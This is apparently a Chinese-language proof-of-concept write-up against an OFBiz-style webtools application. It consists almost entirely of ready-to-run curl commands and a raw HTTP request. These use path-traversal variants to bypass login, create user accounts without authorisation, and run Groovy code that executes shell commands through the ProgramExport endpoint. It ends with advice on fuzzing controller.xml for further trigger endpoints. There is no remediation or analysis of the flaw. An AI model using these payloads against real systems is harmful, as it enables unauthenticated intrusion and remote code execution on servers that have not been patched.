USERNAME 和 PASSWORD 参数可以在 /ecomseo/AnonContactus 接口中提供,该接口对任何人公开可访问。
POC1:RCE
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/ProgramExport' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
POC2:你可以绕过登录以访问受限的 webtools 管理界面。
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/login/' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'JavaScriptEnabled=Y'
POC3:你可以注册一个普通用户账户,其中 userLoginId 作为用户名。
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/createUserLogin' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'enabled=Y' \
--data-urlencode 'partyId=' \
--data-urlencode 'userLoginId=30000' \
--data-urlencode 'currentPassword=12345' \
--data-urlencode 'currentPasswordVerify=12345' \
--data-urlencode 'passwordHint=' \
--data-urlencode 'requirePasswordChange=N' \
--data-urlencode 'securityQuestion=' \
--data-urlencode 'SecurityAnswer=' \
--data-urlencode 'externalAuthId='
RCE1
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/.%2e/.%2e/.%2e/webtools/control/ProgramExport' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
RCE2
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/..;/..;/..;/webtools/control/ProgramExport' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
PS: ; 会导致 cookie 设置抛出异常,你需要手动获取 cookie。


RCE
POST /webtools/control/forgotPassword/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443
groovyProgram=throw+new+Exception('id'.execute().text);
PS:forgotPassword 可以替换为其他请求。你可以尝试在 webapp/webtools/WEB-INF/controller.xml(如图所示)中搜索它来进行模糊测试。只要请求成功返回 success,就可以触发 ProgramExport 模块中的 RCE。
